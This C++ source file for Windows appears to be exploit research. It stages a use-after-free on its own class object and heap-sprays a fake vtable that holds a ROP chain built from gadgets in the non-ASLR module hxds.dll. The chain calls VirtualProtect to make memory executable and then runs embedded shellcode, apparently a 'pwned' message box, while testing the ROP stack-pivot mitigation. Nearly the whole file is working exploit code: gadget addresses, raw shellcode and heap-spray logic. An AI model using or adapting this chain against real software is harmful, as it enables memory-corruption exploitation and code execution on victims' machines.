#include <Windows.h>
#include <comdef.h>
#include <stdio.h>
#include <vector>
#include <string>
#include <iostream>

using namespace std;

uint8_t FakeVftable[] =
    "\x7c\xa2\xc2\x51" // 0x51C2A27C [pop ebx + ret] - stack alignment gadget, called as the Ret after stack pivot
    "\xBF\x27\xBC\x51" // 0x51BC27BF - Xchg eax, esp
    "\x7c\xa2\xc2\x51" // Gadget one: 0x51C2A27C [pop ebx + ret]
    "\x58\x11\xbc\x51" // 0x51BC1158 the address of the VirtualProtect thunk -> ebx 
    "\xa0\x5b\xc2\x51" // Gadget two: 0x51C25BA0: [pop edi + ret]
    "\xff\xbb\xc3\x51" // Jmp Esp at 0x51c3bbff -> Edi
    "\x0e\xa2\xc2\x51" // Gadget 3: 0x51C2A20E [xor eax, eax]
    "\x7f\xc0\xbc\x51" // Gadget 4: 0x51BCC07F [pop ecx]
    "\xf3\x74\xc3\x51" // 0x51c374f3 (gadget 6 address) -> Ecx
    "\x4d\x11\xc1\x51" // Gadget 5: 0x51c1114d [push esp ; adc ecx, eax ; push ecx ; ret] <- Pushes parameter one of VirtualProtect (Esp above shellcode)
    // Gadget 6 (pushed into ecx) pushes Edi (return address) and calls VirtualProtect [push edi ; jmp [ebx]]
    "\x00\x10\x00\x00" // param 2 - Size
    "\x40\x00\x00\x00" // param 3 - Protect - 0x40 - +RWX
    "\x00\xb0\xc4\x51" // param 4 - Old protect - 51C4B000 .data
     // Shellcode
    "\x55\x89\xe5\x83\xec\x04\xe8\x00\x00\x00\x00\x5e\x83\xee\x0b\x89\x75\xfc\x68\x88\x4e\x0d\x00\xe8\x51\x00\x00\x00\x89\xc7\x68\x86"
    "\x57\x0d\x00\x57\xe8\x90\x00\x00\x00\x8b\x4d\xfc\x83\xc1\x55\x51\xff\xd0\x68\x1a\xb8\x06\x00\x50\xe8\x7c\x00\x00\x00\x6a\x00\x8b"
    "\x4d\xfc\x83\xc1\x60\x8b\x55\xfc\x83\xc2\x66\x52\x51\x6a\x00\xff\xd0\x89\xec\x5d\xc3\x55\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00"
    "\x70\x77\x6e\x65\x64\x00\x33\x32\x2d\x62\x69\x74\x00\x55\x89\xe5\x57\x56\xbe\x30\x00\x00\x00\x64\xad\x8b\x40\x0c\x8b\x78\x18\x89"
    "\xfe\x31\xc0\xeb\x04\x39\xf7\x74\x28\x85\xf6\x74\x24\x8d\x5e\x24\x85\xdb\x74\x14\x8b\x4b\x04\x85\xc9\x74\x0d\x6a\x01\x51\xe8\x5d"
    "\x01\x00\x00\x3b\x45\x08\x74\x06\x31\xc0\x8b\x36\xeb\xd7\x8b\x46\x10\x5e\x5f\x89\xec\x5d\xc2\x04\x00\x55\x89\xe5\x81\xec\x30\x02"
    "\x00\x00\x8b\x45\x08\x89\x45\xf8\x8b\x55\xf8\x03\x42\x3c\x83\xc0\x04\x89\x45\xf0\x83\xc0\x14\x89\x45\xf4\x89\xc2\x8b\x45\x08\x03"
    "\x42\x60\x8b\x4a\x64\x89\x4d\xd0\x89\x45\xfc\x89\xc2\x8b\x45\x08\x03\x42\x20\x89\x45\xec\x8b\x55\xfc\x8b\x45\x08\x03\x42\x24\x89"
    "\x45\xe4\x8b\x55\xfc\x8b\x45\x08\x03\x42\x1c\x89\x45\xe8\x31\xc0\x89\x45\xe0\x89\x45\xd8\x8b\x45\xfc\x8b\x40\x18\x3b\x45\xe0\x0f"
    "\x86\xd2\x00\x00\x00\x8b\x45\xe0\x8d\x0c\x85\x00\x00\x00\x00\x8b\x55\xec\x8b\x45\x08\x03\x04\x11\x89\x45\xd4\x6a\x00\x50\xe8\xbd"
    "\x00\x00\x00\x3b\x45\x0c\x0f\x85\xa1\x00\x00\x00\x8b\x45\xe0\x8d\x14\x00\x8b\x45\xe4\x0f\xb7\x04\x02\x8d\x0c\x85\x00\x00\x00\x00"
    "\x8b\x55\xe8\x8b\x45\x08\x03\x04\x11\x89\x45\xd8\x8b\x4d\xfc\x89\xca\x03\x55\xd0\x39\xc8\x7c\x7f\x39\xd0\x7d\x7b\xc7\x45\xd8\x00"
    "\x00\x00\x00\x31\xc9\x8d\x9d\xd0\xfd\xff\xff\x8a\x14\x08\x80\xfa\x00\x74\x20\x80\xfa\x2e\x75\x15\xc7\x03\x2e\x64\x6c\x6c\x83\xc3"
    "\x04\xc6\x03\x00\x8d\x9d\xd0\xfe\xff\xff\x41\xeb\xde\x88\x13\x41\x43\xeb\xd8\xc6\x03\x00\x8d\x9d\xd0\xfd\xff\xff\x6a\x00\x53\xe8"
    "\x3c\x00\x00\x00\x50\xe8\xa3\xfe\xff\xff\x85\xc0\x74\x29\x89\x45\xdc\x6a\x00\x8d\x95\xd0\xfe\xff\xff\x52\xe8\x21\x00\x00\x00\x50"
    "\xff\x75\xdc\xe8\xd1\xfe\xff\xff\x89\x45\xd8\xeb\x0a\x8d\x45\xe0\xff\x00\xe9\x1f\xff\xff\xff\x8b\x45\xd8\x89\xec\x5d\xc2\x08\x00"
    "\x55\x89\xe5\x57\x8b\x4d\x08\x8b\x7d\x0c\x31\xdb\x80\x39\x00\x74\x14\x0f\xb6\x01\x0c\x60\x0f\xb6\xd0\x01\xd3\xd1\xe3\x41\x85\xff"
    "\x74\xea\x41\xeb\xe7\x89\xd8\x5f\x89\xec\x5d\xc2\x08\x00";

class ClassObject {
public:
    void RealFunction1() {
        printf("RealFunction1 called\r\n");
    };

    virtual void VirtualFunction1() {
        printf("VirtualFunction1 called\r\n");
    };

    virtual void VirtualFunction2() {
        printf("VirtualFunction2 called\r\n");
    };

protected:
    uint32_t Var1;
    uint8_t* Ptr1;
};

int32_t HeapSpray(int32_t nChunkCount, uint32_t dwChunkSize, const uint8_t* pChunkData, uint32_t dwChunkDataLen, uint32_t dwChunkDataOffset) {
    int32_t nTotal;

    for (nTotal = 0; nTotal < nChunkCount; nTotal++) {
        uint8_t* pNewChunk = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, dwChunkSize);

        if (pNewChunk != nullptr) {
            //printf("... chunk %d of size 0x%08x sprayed to 0x%p\r\n", nTotal, dwChunkSize, pNewChunk);
            memcpy(pNewChunk + dwChunkDataOffset, pChunkData, dwChunkDataLen);
        }
        else {
            printf("... failed to allocate chunk #%d\r\n", nTotal);
            break;
        }
    }

    return nTotal;
}

void UseAfterFree(uint32_t dwVftableAddress) {
    ClassObject* pObj = new ClassObject();
    ClassObject* pObjPtr2 = pObj;
    printf("... ClassObject allocated at 0x%p (size: %d)\r\n", pObj, sizeof(ClassObject));
    delete pObj;
    printf("... freed ClassObject.\r\n");

    for (int32_t nX = 0; nX < 30; nX++) {
        uint8_t* pChunk = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, sizeof(ClassObject));
        printf("... new chunk #%d allocated to: 0x%p\r\n", nX, pChunk);
        *(uint32_t*)&pChunk[0] = dwVftableAddress;

        if (pChunk == (uint8_t*)pObjPtr2) {
            printf("... new chunk #%d overlaps with freed chunk at 0x%p!\r\n", nX, pChunk);
            break;
        }
    }

    uint32_t dwChunkSize = 0x10000 - 0x8;
    uint32_t dwAllocationCount = 800;
    printf("... activating heap spray of %d allocations of chunks with size 0x%x containing a fake vftable of size %d...\r\n", dwAllocationCount, dwChunkSize, sizeof(FakeVftable));
    HeapSpray(800, dwChunkSize, (uint8_t*)FakeVftable, sizeof(FakeVftable), 0);
    uint8_t* pVftable = *(uint8_t**)&pObjPtr2[0];
    printf("... executing 0x%p from vftable at 0x%p referenced from overlapping object at 0x%p (offset 0)\r\n", *(uint8_t**)&pVftable[0], pVftable, pObjPtr2);
    pObjPtr2->VirtualFunction2();

    /*
    EBX = ClassObject
    mov eax,dword ptr ds:[ebx]
    call dword ptr ds:[eax+4]
    */
}

/*
- Creates a class object, deletes it
- Sprays new allocations of the same size until one gets the same address
- Program tries to call a virtual method from freed class. This results in it grabbing the vtable pointer from offset 0 of the class object
- Fake vtable pointer planted in the collided class object is an absolute address assumed to be hit by the heap spray
- Method in fake vtable is called, resulting in EIP redirect + EAX = vtable pointer
- Stack pivot

*/
int32_t main(int32_t nArgc, const char* pArgv[]) {
    uint32_t dwVftableAddress = 0x04630048; // 0x04630048 works with debugger as well and hxds.dll
    HMODULE hModule = LoadLibraryW(L"hxds.dll");

    printf("... current PID: %d\r\n", GetCurrentProcessId());
    printf("... loaded non-ASLR module hxds.dll to 0x%p\r\n", hModule);

    PROCESS_MITIGATION_PAYLOAD_RESTRICTION_POLICY PayloadPolicy = { 0 };

    PayloadPolicy.EnableRopStackPivot = 1;

    if (SetProcessMitigationPolicy(ProcessPayloadRestrictionPolicy, &PayloadPolicy, sizeof(PayloadPolicy))) {
        printf("... successfully set payload mitigation policy\r\n");
        system("pause");
    }
    else {
        printf("... failed to set payload mitigation policy (error 0x%08x)\r\n", GetLastError());
    }

    printf("... executing UAF...\r\n");
    UseAfterFree(dwVftableAddress);
    return 0;
}